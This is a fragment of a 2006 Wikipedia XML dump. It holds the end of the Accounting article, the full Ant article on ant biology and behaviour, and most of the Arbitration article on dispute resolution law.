*[[Audit]]
*[[Information technology audit]]

===Types of accountancy===
*[[Cost accounting]]
*[[Cash-basis versus accrual-basis accounting| Cash-basis and accrual-basis]]
*[[Financial accountancy]]
*[[Internal accountancy|internal]] and [[external accountancy]]
*[[Management accounting]]
*[[Project accounting]]
*[[Positive accounting]]
*[[Environmental accounting]]
social Responsibility Accounting

===Accountancy Principles===
Accounting principles, rules of conduct and action are described by various terms such as concepts, conventions, tenets, assumption, axioms, postulates.

==Accounting concepts==
* Entity concept
*Dual aspect concept
*[[Going concern]] concept
*Accounting period concept
*Money measurement concept
*Historical Cost concept
*Periodic matching of cost and revenue concept
*Verifiable objective evidence concept
*Realization concept
*Accrual concept

== Accounting conventions==
*convention of disclosure
*convention of materiality
*convention of consistency
*convention of conservatism

===Use of computers in accountancy===
*[[Accounting software]]
*[[Database]]s
*[[Spreadsheet|spreadsheet programs]]

===Accounting standards===
*[[United States]] [[US generally accepted accounting principles|generally accepted accounting principles]]

*[[United Kingdom]] [[UK generally accepted accounting principles|generally accepted accounting principles]]

*[[International Accounting Standards]]

===Agencies===
*[[United States]]
**[[Federal Reserve]] (for banks)
**[[U.S. Securities and Exchange Commission]] (for [[public company|public companies]])

*[[European Union]]
**[[European Central Bank]]

===Accounting standard-setting bodies===
*[[United States]]
**[[American Institute of Certified Public Accountants]]
**[[Financial Accounting Standards Board]]
**[[Governmental Accounting Standards Board]]
**[[Federal Accounting Standards Advisory Board]]
**[[U.S. Securities and Exchange Commission]]

*[[United Kingdom]]
**[[Institute of Chartered Accountants in England &amp; Wales]] (ICAEW)
**[[Institute of Chartered Accountants of Scotland]] (ICAS)
**[[Association of Chartered Certified Accountants]] (ACCA)
**[[Chartered Institute of Management Accountants]] (CIMA)
**[[Chartered Institute of Public Finance Accountants]] (CIPFA)
**[[Association of International Accountants]] (AIA), a UK Registered Auditor is being consulted for Standard setting.
**[[Association of Accounting Technicians]] (AAT)

*[[Republic of Ireland]]
**[[Institute of Chartered Accountants in Ireland]]

*[[Canada]]
**[[Accounting Standards Board &quot;AcSB&quot;]]

*[[South Africa]]
**[[South African Institute of Chartered Accountants]] (SAICA)

*International
**[[International Accounting Standards Board]]
**[[International Federation of Accountants]]

===Auditing standards-setting bodies===
*[[United States]]
**[[Public Company Accounting Oversight Board]] - public companies
**[[American Institute of Certified Public Accountants]] - general
**[[Government Accountability Office]] - recipients of federal grants
*[[South Africa]]
**[[Public Accountants and Auditors Board]] - public companies

==See also==
*[[Accounting reform]]
*[[Bank|Banking]]
*[[Cultural references to accountants]]
*[[Economics]]
*[[Finance]]
*[[Fiscal year]]
*[[Luca Pacioli]]
*[[Standard accounting practices]]
*[[Tax]]
*[[Critical accounting policy]]
*[[Timeline of management techniques]]
*[[Invoice]]

==Finding related topics==
*[[List of accounting topics]]
*[[List of finance topics]]
*[[List of management topics]]
*[[List of human resource management topics]]
*[[List of marketing topics]]
*[[List of economics topics]]
*[[List of production topics]]
*[[List of information technology management topics]]			
*[[List of business law topics]]
*[[List of business ethics, political economy, and philosophy of business topics]]
*[[List of business theorists]]
*[[List of economists]]
*[[List of corporate leaders]]
*[[List of companies]]

==External links==
*{{wikicities|accounting|Accounting}}
*{{dmoz|Computers/Software/Accounting/|{{PAGENAME}}}}
*[http://www.accountingcoach.com Accounting Coach]
*[http://business.fullerton.edu/centers/ccrg The Center for Corporate Reporting &amp;amp; Governance at California State University, Fullerton]
*[http://www.spicyedition.com/archive/accounting/ Accounting Police: Do They Exist?] article written by John Day
*[http://www.hkicpa.org.hk Hong Kong Institute of Certified Public Accountants (formerly Hong Kong Society of Accountants)]

[[Category:Professions|Accountant]]

[[ar:محاسبة]]
[[cs:%C3%9A%C4%8Detnictv%C3%AD]]
[[de:Rechnungswesen]]
[[es:contabilidad]]
[[fa:حسابداری]]
[[fi:Kirjanpito]]
[[fr:Comptabilit&amp;#233;]]
[[he:&amp;#1512;&amp;#1488;&amp;#1497;&amp;#1497;&amp;#1514; &amp;#1495;&amp;#1513;&amp;#1489;&amp;#1493;&amp;#1503;]]
[[id:Akuntansi]]
[[ja:&amp;#20250;&amp;#35336;]]
[[nl:Boekhouding]]
[[pl:Rachunkowo&amp;#347;&amp;#263;]]
[[pt:Contabilidade]]
[[ro:Contabilitate]]
[[ru:&amp;#1041;&amp;#1091;&amp;#1093;&amp;#1075;&amp;#1072;&amp;#1083;&amp;#1090;&amp;#1077;&amp;#1088;&amp;#1089;&amp;#1082;&amp;#1080;&amp;#1081; &amp;#1091;&amp;#1095;&amp;#1105;&amp;#1090;]]
[[sv:Redovisning]]
[[tr:Muhasebe]]
[[zh:&amp;#20250;&amp;#35745;&amp;#23398;]]</text>
    </revision>
  </page>
  <page>
    <title>Ant</title>
    <id>2594</id>
    <revision>
      <id>42097658</id>
      <timestamp>2006-03-03T20:36:50Z</timestamp>
      <contributor>
        <ip>217.162.108.122</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{Otheruses}}
{{Taxobox
| color = pink
| name = Ants
| image = Fire_ants02.jpg
| image_width = 200px
| image_caption = [[Red imported fire ant]]s, ''Solenopsis invicta''
| regnum = [[Animal]]ia
| phylum = [[Arthropod]]a
| classis = [[Insect]]a
| ordo = [[Hymenoptera]]
| subordo = [[Apocrita]]
| superfamilia = [[Vespoidea]]
| familia = '''Formicidae'''
| familia_authority = [[Pierre André Latreille|Latreille]], 1802
| subdivision_ranks = Subfamilies
| subdivision = 
[[Dorylomorph subfamilies]]
*[[Apomyrminae]]
*[[Cerapachyinae]]
*[[Dorylinae]]
*[[Ecitoninae]]
[[Formicomorph subfamilies]]:
*[[Aneuretinae]]
*[[Dolichoderinae]]
*[[Formicinae]] - e.g. ''[[Formica]]''
[[Leptanillomorph subfamilies]]:
*[[Leptanillinae]]
*[[Leptanilloidinae]]
[[Myrmeciomorph subfamilies]]:
*[[Myrmeciinae]] eg. ''[[Myrmecia]]''
*[[Pseudomyrmecinae]]
[[Myrmicomorph subfamilies]]:
*[[Agroecomyrmecinae]]
*[[Myrmicinae]]- e.g. ''[[Pheidole]]'', ''[[Atta]]''
[[Poneromorph subfamilies]]:
*[[Amblyoponinae]]
*[[Ectatomminae]]
*[[Heteroponerinae]]
*[[Paraponerinae]]
*[[Ponerinae]]
*[[Proceratiinae]]
[[Extinct subfamilies]]:
*[[Armaniinae]]
*[[Brownimeciinae]]
*[[Formiciinae]]
*[[Sphecomyrminae]]
[[Incertae Sedis]] Subfamily:
*[[Paleosminthurinae]]
}}

'''Ants''' are one of the most successful groups of [[insect]]s in the [[animal kingdom]] and are of particular interest because they are a [[Eusociality|social insect]] and form highly organized [[ant colony|colonies]] or nests, sometimes consisting of millions of individuals. Colonies of invasive ant species will sometimes work together and form supercolonies, spanning a very wide area of land. Ant colonies are sometimes described as [[superorganism]]s because they appear to operate as a single entity. 

Ants have colonized almost every landmass on [[Earth]] and can constitute up to 15% of the total animal [[biomass]] of a [[tropical rainforest]]. [[As of 2006]], there are 11,844 known ant species, most of which reside in hot climates.

==Ancestry==
Ants are classified as a family, [[Formicidae]], belonging to the order [[Hymenoptera]] which also includes [[sawflies]], [[bees]] and [[wasp]]s. Ants are a lineage derived from within the [[Vespoidea|vespoid]] [[wasp]]s.  Estimates of the age of the ants derived from genetic data indicate that ants evolved from other groups of wasps in the [[Cretaceous]] period about 120 to 140 million years ago. Several fossils from the Cretaceous are intermediate in form between wasps and ants, further confirming the wasp ancestry of ants. Like other Hymenoptera, the genetic system employed by ants is [[Haplodiploidy]].

{{Sectstub}}

== Morphology ==
Ants are distinguished from other insects by the combination of elbowed [[antenna (biology)|antennae]], a strongly constricted second [[abdominal]] segment forming a distinct node-like [[petiole]], a wingless worker caste, and the presence of a [[metapleural gland]].

They can sense with [[organ (anatomy)|organ]]s located on the antennae, which can detect [[pheromones]] (single compounds) and hydrocarbons on the outer layer of the body (a set of different compounds). The latter is highly important for the recognition of nestmates from non-nestmates. Also, they communicate with sound in the form of vibrations moving through the ground

Most [[Queen (insect)|queens]] and male ants have [[wing]]s, which they eat after [[nuptial flight]]; however wingless queens (ergatoids) and males can occur.

==Development==
&lt;!-- Unsourced image removed: [[Image:Ants evacuating larvae.jpg|thumb|left|Ants recovering larvae after a disturbance of the nest]] --&gt;

Ants are [[Holometabolism|holometabolous]], and develop by complete [[metamorphosis (biology)|metamorphosis]], passing through [[larva|larval]] and [[pupa|pupal]] stages before they become adults.  The larval stage is particularly helpless - for instance it lacks legs entirely - because it does not need to care for itself.  The difference between queens and workers, and between different castes of workers when they exist, is determined by feeding in the larval stage. Food is given to the larvae by a process called [[trophallaxis]] in which an ant [[Regurgitation|regurgitates]] food previously held in its crop for communal storage.  This is also how adults distribute food amongst themselves. Larvae and pupae need to be kept at fairly constant temperatures to ensure proper development, and so are often moved around various brood chambers within the colony.

A new worker spends the first few days of its adult life caring for the queen and young.  After that it graduates to digging and other nest work, and then to foraging and defense of the nest. These changes are fairly abrupt and define what are called temporal [[caste]]s. One theory of why this occurs is because foraging has a high death rate, so ants only participate in it when they are older and closer to death anyway.  In a few ants there are also physical castes - workers come in a spectrum of sizes, called minor, median, and major workers, the latter beginning foraging sooner.  Often the larger ants will have disproportionately larger heads, and so stronger [[mandible]]s.  Such individuals are sometimes called &quot;soldier&quot; ants because their stronger mandibles make them more effective in fighting other creatures, although they are still in fact worker ants and their &quot;duties&quot; typically do not vary greatly from the minor or median workers. In a few species the median workers have disappeared, creating a sharp divide and clear physical difference between the minors and majors.

Most of the common ant species breed in the same way. All ants in the colonies are females to begin with, but only the Queen and breeding females have the ability to mate. Contrary to popular belief, some ant nests have multiple queens.  The male ants, called drones, along with the breeding females are born with wings, and do nothing throughout their life except eat, at least until the time for mating comes. At this time, all the breeding ants in the colony are carried outside (save for the queen) where other colonies of similar species are doing the same. Then, all the winged breeding ants take flight. Mating occurs in flight and the males die shortly afterward. The females that survive land and seek a suitable place to begin a colony. There, they break off their own wings and begin to lay eggs, which they care for. Sperm obtained during their nuptial flight is stored and used to fertilise all future eggs produced. The first workers to hatch are weak and smaller than later workers, but they begin to serve the colony immediately. They enlarge the nest, forage for food and care for the other eggs. This is how a new colony starts.

==Communication and behavior==
[[Image:Acrobat.ant1web..jpg|thumb|left|200px|Acrobat ant (''Crematogaster'' - Myrmecidinae)]]
[[Image:Ant mound.jpg|thumb|250px|Ant mound hole - preventing water coming into nest during rain]]
Ant communication is primarily through chemicals called [[pheromone]]s. Because most ants spend their time in direct contact with the ground, these chemical messages are more developed than in other [[Hymenopterans]]. So, for instance, when a forager finds food on its way home (found typically through remembered landmarks and the position of the [[sun]]), it will leave a trail along the ground, which in a short time other ants will follow. When they return home they will reinforce the trail, bringing other ants, until the food is exhausted, after which the trail is not reinforced and so slowly dissipates. A crushed ant will emit an alarm pheromone, that in high concentration sends other ants nearby into an attack frenzy, and in lower concentration attracts them, while a few ants use what are called propaganda pheromones to confuse their enemies.

Ant trails have no intrinsic [[polarity]]; that is to say, an ant walking on a straight non-branching trail cannot tell whether it is walking to or from the nest.  Trails always divide as a &quot;Y&quot;, with the two secondary trails at a 60 degree angle to each other, and it is the geometry at trail junctions that give ant trails polarity. (Jackson &lt;i&gt;et al&lt;/i&gt;, 2004)

Like other insects, ants smell with their antennae, which are long and thin. These are fairly mobile, having a distinct elbow joint after an elongated first segment, and since they come in pairs they provide information about direction as well as intensity. Pheromones are also exchanged as compounds mixed in with the food interchanged in [[trophallaxis]], giving the ants information about one another's health and nutrition. Ants can also detect what task group (e.g. foraging or nest maintenance) other ants belong to. Of special note, the queen produces a special pheromone without which the workers will begin raising new queens.

Ants attack and defend themselves by biting, and in many species, stinging, in both cases sometimes injecting chemicals into the target. Of special note here is [[formic acid]].

While many types of animals can [[learning|learn]] behaviors by [[imitation|imitating]] other animals, ants may be the only group of animals besides [[human|humans]] in which interactive [[teacher|teaching]] behavior has been observed.  Knowledgeable forager ants of the species ''Temnothorax albipennis'' directly lead naive nestmates to newly discovered food sources by an excruciatingly slow (and time-costly), process of 'tandem running'. The follower thereby obtains knowledge that it would not have, had it not been tutored, and this is at the expense of its nestmate teacher. Both leader and follower are acutely sensitive to the progress of their partner. For example, the leader slows down when the follower lags too far behind, and speeds up when the follower gets too close, whereas the follower does the opposite (Franks and Richardson, 2006).

==Ant cooperation and competition==

Some species of ant are known for attacking and taking over the colonies of others ant species. Others are less expansionist but nonetheless just as aggressive; they attack colonies to steal eggs or larvae, which they either eat or raise as workers. &lt;!-- SOURCES NEEDED: In some rare cases two species of ants have been observed working in the same colony.--&gt;

==Types==
{{commons|Ant}}
There is a great diversity among ants and their behaviors. They range in size from 2 to about 25 millimetres (about 0.08 to 1 inch). Their colour may vary, most are red or black, but other colours can also be seen. A few types, such as the genus ''Pheidole'' of [[North America]], have a metallic lustre.

See ''[[list of ant genera (alphabetical)]]'' for an alphabetical compendium of worldwide ant genera, and ''[http://atbi.biosci.ohio-state.edu:210/hymenoptera/nomenclator.name_entry?text_entry=formicidae&amp;Submit=Submit+Query antbase.org/Hymenoptera Name Server]''for a complete catalogue of all the currently known ant species of the world and their synonyms.
Antbase.org/Hymenoptera Name Server is providing an [http://atbi.biosci.ohio-state.edu:210/hymenoptera/tsa.sppcount?the_taxon=Formicidae up to date record of the actual number of species], and allows to follow [http://atbi.biosci.ohio-state.edu:210/hymenoptera/manage_lit.new_taxa_by_year?tnuid=152&amp;the_year=2005 the description of new taxa].

Of special note:
*Some of the more advanced ants are the [[army ant]]s and [[driver ant]]s, from [[South America]] and [[Africa]] respectively. Unlike most species which have permanent nests, army and driver ants do not form permanent nests, but instead alternate between nomadic stages and stages where the workers form a temporary nest ([[bivouac]]) out of their own bodies. Colonies reproduce either through nuptial flights as described above, or by fission, where a group of workers simply dig a new hole and raise new queens.  Colony members are distinguished by smell, and other intruders are usually attacked, with notable exceptions.
* Some ants will raid the colonies of other ants, taking the [[pupa|pupae]] with them, which once hatched act as workers in the raider's colonies despite not being genetically related to the queen. A few species, such as the Amazon ants (e.g. ''[[Polyergus]] rufescens''), have become utterly dependent on such slaves, to the point of being otherwise unable to feed themselves.

* Some ants, called [[honeypot ant]]s, have special workers called ''[[replete|repletes]]'' who simply store food for the rest of the colony, generally becoming immobile with greatly enlarged abdomens. In hot, dry places, even deserts, in Africa, North America and Australia where they live they are considered a great delicacy.
* [[Weaver ant]]s (''[[Oecophylla]]'') build nest in trees by attaching leaves together, first pulling them together with bridges of workers and then sewing them together by pressing silk-producing larvae against them in alternation.
* [[Leafcutter ant]]s (''[[Atta]]'' and ''[[Acromyrmex]]'') feed exclusively on a special [[fungus]] that lives only within their colonies.  They continually collect [[leaf|leaves]] which they cut into tiny pieces for the fungus to grow on. These ants have several differently sized castes especially for cutting up the pieces they are supplied with into even smaller pieces. Leaf cutter ants are sensitive enough to adapt to the fungi's reaction to different plant material, apparently detecting chemical signals from the fungus. If a particular type of leaf is toxic to the fungus the colony will no longer collect it. The ants grow the fungus because it produces special structures called gongylidia which are fed on by the ants.
* [[Fire ant]]s are unique by having a poison sac where the contents consists largely of piperidine alkaloids.
* [[Silver ant]]s navigate by using their eyes instead of pheromones to find their way back home.
* Some ants are equipped with mandibles called trap-jaws. This snap-jaw mechanism, or catapult mechanism, is possible because energy is stored in the large closing muscles. The blow is incredibly fast, about 0.5 ms in the genus Mystrium. Before the strike, the mandibles opens wide and are locked in the open position by the labrum, which functions as a latch. The attack is triggered by stimulation of sensory hairs at the side of the mandibles. The mandibles are also able to function as a tool for more finely adjusted tasks. Other groups other than Mystrium are Odontomachus and  Dacetini, examples on convergent evolution.
* Australian green ants are eaten by the aboriginals.Their abdomen tastes like lemon sherbet, are high in vitamin C and have antibiotic properties. Squashed green ants mashed in water makes up an excellent lemon-lime flavored drink. The Amazon is also said to have lemon ants.[http://www.sptimes.com/2002/03/03/Travel/Tracking_the_lemon_an.shtml]
* The Australian [[bulldog ant]] Myrmecia pilosula has only a single pair of chromosomes. Males have just one chromosome since they, like all male [[Hymenoptera]]ns, are haploid.

==Relationships between ants and other species==

* [[Aphid]]s secrete a sweet liquid called [[honeydew]].  Normally this is allowed to fall to the ground, but around ants it is kept for them to collect.  The ants in turn keep predators away and will move the aphids around to better feeding locations.
* [[Myrmecophile|Myrmecophilous]] or ant-loving [[caterpillar]]s (blues, coppers, or hairstreaks) are herded by the ants, led to feeding areas in the daytime and brought inside the ants nest at night. The caterpillars have a gland which secretes honeydew if the ants massage them.
* Some myrmecophagous (ant-eating) caterpillars secrete a pheromone which makes the ants think the larva is one of their own. The caterpillars will then be taken into the ants' nest where they can feed on the ant larvae.
* [[Allomerus decemarticulatus]] has developed a tripartite association with their host plant and a fungus in order to ambush their prey.
* [[Fungus-growing ants]] that make up the tribe [[attini]], including [[Leafcutter ant]]s, actively cultivate certain species of fungus in the ''[[Leucoagaricus]]'' or ''[[Leucocoprinus]]'' genera of the [[Agaricaceae]] family. In this [[ant-fungus mutualism]], both species depend on each other for survival.
*[[Myrmelachista schumanni|Lemon Ant]]s make [[Devil's garden]]s by killing all surrounding plants besides lemon ant trees.
*Many trees have extra floral nectaries that provide food for ants and the ants in turn protect the plant from herbivorous insects. Some species like the bullhorn acacia (''[[Acacia cornigera]]'') in Central America have hollow thorns that serve to house colonies of stinging ants (''[[Pseudomyrmex ferruginea]]'') that defend the tree against insects, browsing mammals and epiphytic vines. In return the ants obtain  food from protein-lipid Beltian bodies.

==Humans and ants==

Ants are useful for clearing out insect pests and aerating the soil.  On the other hand, they can become annoyances when they invade homes, yards, gardens and fields.  [[Carpenter ant]]s damage [[wood]] by hollowing it out for nesting.
Nests may be destroyed by tracing the ants' trails back to the nest, then pouring boiling water into it to kill the queen. (Killing individual ants is less than effective due to the secretion of pheromones mentioned above).
Ordinary [[chalk]] can be used to keep ants at bay; drawing a line or circle around the protected area may prevent them from entering.

Some species, called ''[[killer ant]]s'', have a tendency to attack much larger animals during foraging or in defending their nests.  Human attacks are rare, but the stings and bites can be quite painful and in large enough numbers can be disabling.


==Trivia==

&lt;!-- This image is missing
&lt;div style=&quot;float:right;width:300px;padding-left:15px&quot;&gt;
[[Image:SEM ant head 300px.jpg|SEM ant head 300px.jpg]]
&lt;center&gt;''[[Scanning Electron Microscope|SEM]] image of an ant head'' ([[Media:SEM ant head 750px.jpg|larger version]])&lt;/center&gt;
&lt;/div&gt; --&gt;
Ants have often been used in fables and children's stories to represent industriousness and cooperative effort, as well as aggressiveness and vindictiveness. In parts of Africa, ants are the messengers of the gods. Ant bites are often said to have curative properties. Some [[Native American mythology|Native American religions]], such as [[Hopi mythology]], recognize ants as the very first animals. Others use ant bites in [[initiation]] ceremonies as a test of endurance.

[[Termite]]s, sometimes called &quot;white ants,&quot; are in fact not closely related to ants, though they have a somewhat similar social structure. They comprise the order [[Isoptera]].

&lt;gallery&gt;
Image:WeaverAntsNest.JPG|Weaver ants nest
image:leaf.ants.600pix.jpg|Leaf-cutting ants (Atta sp. or Acromyrmex sp.) on the journey back to the nest.
image:ant_SEM.jpg|Electron microscope image of an ant's head
Image:Ant cultivating aphids.jpg|Ant cultivating aphids
Image:Ant_hill.jpg|Ants on ant hill
Image:Ants cleaning dead snake.jpg|Ants cleaning out a dead snake
Image:Ant trail.jpg|An ant trail
Image:Ant on mosshill02.jpg|Ant on mosshill
&lt;/gallery&gt;

==See also==
* [[Ant-hill]]
* [[Anting (bird activity)]]
* [[Ants: Standard Methods for Measuring and Monitoring Biodiversity]]
* [[British ants]]
* ''[[Journey to the Ants]]''
* [[Langton's ant]] for articles concerned with subjects that use the word &quot;ant&quot;
* [[List of ant genera (alphabetical)]]
* [[List of notable myrmecologists]]
* [[List of the common names of British ant species]]
* [[Myrmecology]]: the study of ants
* [[Rare ants of the British Isles]]
* [[Red imported fire ant|Red Imported Fire Ant]]
* [[SimAnt]]
* [[Stigmergy]]
* ''[[The Ants]]''
* [[Antz]]
==References==
*[http://antbase.org/databases/publications_20330.htm Agosti, D., Majer, J.D., Alonso, L.E., Schultz, T.R. (eds.) (2000). &lt;i&gt;Ants: Standard methods for measuring and monitoring biodiversity&lt;/i&gt;. Smithsonian Institution Press. 280 pp.]
*[http://antbase.org/databases/publications_20239.htm Fernández F. (ed.). 2003. Introducción a las Hormigas de la Región Neotropical. Instituto de Investigación de Recursos Biológicos Alexander von Humboldt, Bogotá, Colombia. XXVI + 398 p.]
*{{cite journal
 | last = Franks
 | first = Nigel R.
 | coauthors = Tom Richardson
 | journal = Nature
 | title = Teaching in tandem-running ants
 | volume = 439
 | month = January
 | year = 2006
 | pages = 153
 | id = {{doi|10.1038/439153a}}
 | url = http://www.nature.com/nature/journal/v439/n7073/full/439153a.html
}}
*[http://antbase.org/ants/publications/8419/8419.pdf Grimaldi, D., Agosti, D., Carpenter, J.M. (1997). New and rediscovered primitive ants (Hymenoptera: Formicidae) in Cretaceous amber from New Jersey, and their phylogenetic relationships. &lt;i&gt;American Museum Novitates&lt;/i&gt; &lt;b&gt;3208&lt;/b&gt;: 43pp, 24 figs., 1 tab.]
* Jackson DE, Holcombe M, Ratnieks FLW (2004). Trail geometry gives polarity to ant foraging networks. &lt;i&gt;Nature&lt;/i&gt; &lt;b&gt;432&lt;/b&gt;: 907-909.

==External links==
*[http://www.antbase.org Antbase, The complete catalogue of all ants of the world linked to all available full text systematics publications (&gt;4,000), links, pictures, etc.]
*[http://www.antweb.org AntWeb, Images of more than 4,000 specimens including all ant genera, specific coverages for California (complete), Florida and Madagascar.]
*[http://www.bwars.com/ Bees, Wasps and Ants Recording Society] (UK)
*[http://www.myrmecology.info/portal/news.php Myrmecology Portal: Everything about ants]
*[http://atbi.biosci.ohio-state.edu:210/hymenoptera/tsa.sppcount?the_taxon=Formicidae Number of Known Ant Species (Ohio State University)]
*[http://atbi.biosci.ohio-state.edu:210/hymenoptera/nomenclator.home_page Hymenoptera Name Server] ([[Ohio State University|Ohio State University, College of Biological Sciences]])
*[http://www.lasius.narod.ru/ www.lasius.narod.ru: Russian Ant Site and Photo Gallery] ([[Russian language]])
*[http://www.bluesquaregroup.de/ameisen/en/ Project: How strong are woodants in reality?]
*[http://www.myrmecos.net/ants.html Myrmecos.net - an extensive image gallery of ants in the wild]
*[http://www.tightloop.com/ants Ants of Arizona - Many photographs of ants]
*[http://www.bbc.co.uk/dna/h2g2/A4889451 h2g2 article on Ants]
*[http://search.eb.com/eb/article-9007736 Encyclopedia Brittanica Article (pay site)]
*[http://antlinks.blogspot.com/ Ant Visions - latest on ant research, along with an image gallery of ants]


[[Category:Insects]]
[[Category:Superorganisms]]

&lt;!-- The categories below are interlanguage links. --&gt;

[[ar:نمل]]
[[an:Formiga]]
[[ast:Formiga]]
[[bg:Мравки]]
[[ca:Formiga]]
[[cs:Mravencovití]]
[[cy:Morgrugyn]]
[[da:Myre]]
[[de:Ameisen]]
[[es:Hormiga]]
[[eo:Formiko]]
[[fr:Fourmi]]
[[gl:Formiga]]
[[ko:개미]]
[[io:Formiko]]
[[it:Formicidae]]
[[he:נמלים]]
[[lv:Skudra]]
[[lt:Skruzdėlės]]
[[mg:Vitsika]]
[[nah:Azcatl]]
[[nl:Mieren]]
[[ja:アリ]]
[[no:Maur]]
[[pl:Mrówkowate]]
[[pt:Formiga]]
[[qu:Sisi]]
[[ru:Муравьи]]
[[simple:Ant]]
[[sr:Мрав]]
[[fi:Muurahaiset]]
[[sv:Myror]]
[[tr:Karınca]]
[[zh:蚂蚁]]</text>
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  </page>
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    <title>Atlas computer</title>
    <id>2595</id>
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      <timestamp>2004-10-23T01:47:19Z</timestamp>
      <contributor>
        <username>Wernher</username>
        <id>19431</id>
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  </page>
  <page>
    <title>Arbitration</title>
    <id>2597</id>
    <revision>
      <id>39806974</id>
      <timestamp>2006-02-16T00:14:14Z</timestamp>
      <contributor>
        <ip>212.76.240.73</ip>
      </contributor>
      <comment>/*http://www.euro-arbitration.org */</comment>
      <text xml:space="preserve">'''Arbitration'''           is a form of [[mediation]] or [[conciliation]], where the mediating party is given power by the disputant parties to settle the dispute by making a finding.  In practice arbitration is generally used as a substitute for judicial systems, particularly when the judicial processes are viewed as too slow, expensive or biased.  Arbitration is also used by communities which lack formal law, as a substitute for formal law.

==Arbitration in the United States of America==
'''Arbitration''', in the context of United States [[law]], is a form of [[alternative dispute resolution]] &amp;mdash; specifically, a legal alternative to [[litigation]] whereby the parties to a dispute agree to submit their respective positions (through agreement or hearing) to a neutral third party (the arbitrator(s) or arbiter(s)) for resolution.

Arbitration may also serve a distinct purpose: as an alternative to strikes and lockouts as a means of resolving labor disputes. Labor arbitration comes in two varieties:  '''interest arbitration''', which provides a method for resolving disputes about the terms to be included in a new contract when the parties are unable to agree, and '''grievance arbitration''', which provides a method for resolving disputes over the interpretation and application of a [[collective bargaining agreement]].

===Commercial and other forms of contract arbitration===
Agreements to arbitrate were not enforceable at common law, though an arbitrator's judgment was usually enforceable (once the parties had already submitted the case to him or her).  During the [[Industrial Revolution]], this situation became intolerable for large [[corporations]]. They argued that too many valuable [[business]] relationships were being destroyed through years of expensive adversarial [[litigation]], in courts whose strange rules differed significantly from the informal norms and [[convention]]s of businesspeople (the private law of [[commerce]], or ''jus merchant''). Arbitration appeared to be faster, less adversarial, and cheaper.

The result was the [[New York Arbitration Act]] of [[1920]], followed by the [[United States Arbitration Act]] of [[1925]].  The USAA is now known as the [[Federal Arbitration Act]].  Thanks to the subsequent judicial expansion of the meaning of [[interstate commerce]], the [[U.S. Supreme Court]] reinterpreted the FAA in a series of cases in the [[1980s]] and [[1990s]] to cover the full scope of interstate commerce. In the process, the Court held that the FAA preempted many state laws covering arbitration, some of which had been passed by state [[legislature]]s to protect their [[consumer]]s against powerful corporations.

Since commercial arbitration is based upon either contract law or the [[law of treaties]], the agreement between the parties to submit their dispute to arbitration is a legally binding [[contract]].  All arbitral decisions are considered to be &quot;final and binding.&quot; This does not, however, void the requirements of law. Any dispute not excluded from arbitration by virtue of law (e.g. criminal proceedings) may be submitted to arbitration.

===Other forms of contract arbitration===
Arbitration can be carried out between private individuals, between states, or between states and private individuals. In the case of arbitration between states, or between states and individuals, the [[Permanent Court of Arbitration]] and the [[International Center for the Settlement of Investment Disputes]] (ICSID) are the predominant organizations. 

Arbitration is also used as part of the dispute settlement process under the [[World Trade Organization| WTO]] [[Dispute Settlement Understanding]]. International arbitral bodies for cases between private persons also exist, the [[International Chamber of Commerce Court of Arbitration]] being the most important. The [[American Arbitration Association]] is a popular arbitral body in the United States.  The [[National Arbitration Forum]] is another leading arbitration provider in the United States.  Arbitration also exists in international sport through the [[Court of Arbitration for Sport]].

A growing trend among employers whose employees are not represented by a [[labor union]] is to establish an organizational problem-solving process, the final step of which consists of arbitration of the issue at point by an independent arbitrator, to resolve employee complaints concerning application of employer policies or claims of employee misconduct. Employers in the United States have also embraced arbitration as an alternative to litigation of employees' statutory claims, e.g., claims of discrimination, and common law claims, e.g., claims of defamation.

===Labor arbitration===
Arbitration has also been used as a means of resolving labor disputes for more than a century. Labor organizations in the [[United States]], such as the [[National Labor Union]], called for arbitration as early as [[1866]] as an alternative to strikes to resolve disputes over the wages, benefits and other rights that workers would enjoy. Governments have also relied on arbitration to resolve particularly large labor disputes, such as the [[Coal Strike of 1902]]. 

This type of arbitration is commonly known as interest arbitration, since it involves the mediation of the disputing parties' demands, rather than the disposition of a claim in the manner a court would act. Interest arbitration is still frequently used in the construction industry to resolve collective bargaining disputes. The [[United Steelworkers of America]] adopted an elaborate form of interest arbitration, known as the Experimental Negotiating Agreement, in the 1970s as a means of avoiding the long and costly strikes that had made the industry vulnerable to foreign competition. [[Major League Baseball]] uses a variant of interest arbitration, in which an arbitrator chooses between the two sides' final offers, to set the terms for contracts for players who are not eligible for free agency.

Unions and employers have also employed arbitration to resolve employee grievances arising under a collective bargaining agreement. The [[Amalgamated Clothing Workers of America]] made arbitration a central element of the ''Protocol of Peace'' it negotiated with garment manufacturers in the second decade of the twentieth century. Grievance arbitration became even more popular during [[World War II]], when most unions had adopted a no-strike pledge. The [[War Labor Board]], which attempted to mediate disputes over contract terms, pressed for inclusion of grievance arbitration in collective bargaining agreements. The Supreme Court subsequently made labor arbitration a key aspect of federal labor policy.

===Securities Arbitration===
In the United States securities industry, arbitration has long been the preferred method of resolving disputes between brokerage firms, and between firms and their customers. The securities industry uses a pre-dispute arbitration agreement, where the parties agree to arbitrate their disputes before any such dispute arises. Those agreements were upheld by the United States Supreme Court in Shearson v. MacMahon, 482 U.S. 220 (1987) and today nearly all disputes involving brokerage firms are resolved in arbitration.

The process operates under its own rules, and is described in an article [http://www.seclaw.com/arbover.htm Introduction to Securities Arbitration]. Securities arbitrations are held primarily by the [http://www.nasdadr.com NASD Dispute Resolution] program and the [http://www.nyse.com New York Stock Exchange]. 

===Judicial arbitration===
Some state court systems have promulgated court-ordered arbitration; family law (particularly child custody) is the most prominent example. Judicial arbitration is often merely advisory dispute resolution technique, serving as the first step toward resolution, but not binding either side and allowing for trial de novo.   Litigation attorneys present their side of the case to an independent teritary lawyer, who issues an opinion on settlement.  Should the parties in question decide to continue to dispute resolution process, there can be some sanctions imposed from the initial arbitration per terms of the contract.

==Proceedings==
Various bodies of rules have been developed that can be used for arbitration proceedings. The two most important are the [[UNCITRAL]] rules and the ICSID rules. The rules to be followed by the arbitrator are specified by the agreement establishing the arbitration.

The [[Convention on the Recognition and Enforcement of Foreign Arbitral Awards]] (Done at New York, [[10 June]] [[1958]]; Entered into force, [[7 June]] [[1959]]; 330 U.N.T.S. 38, 1959) provides for the enforcement of foreign arbitral awards on the territory of the contracting parties. Similar provisions are contained in the earlier [[Convention on the Execution of Foreign Arbitral Awards]] (Done at Geneva, [[26 September]] [[1927]]; Entered into force, [[25 July]] [[1929]]; L.N.T.S. ???).

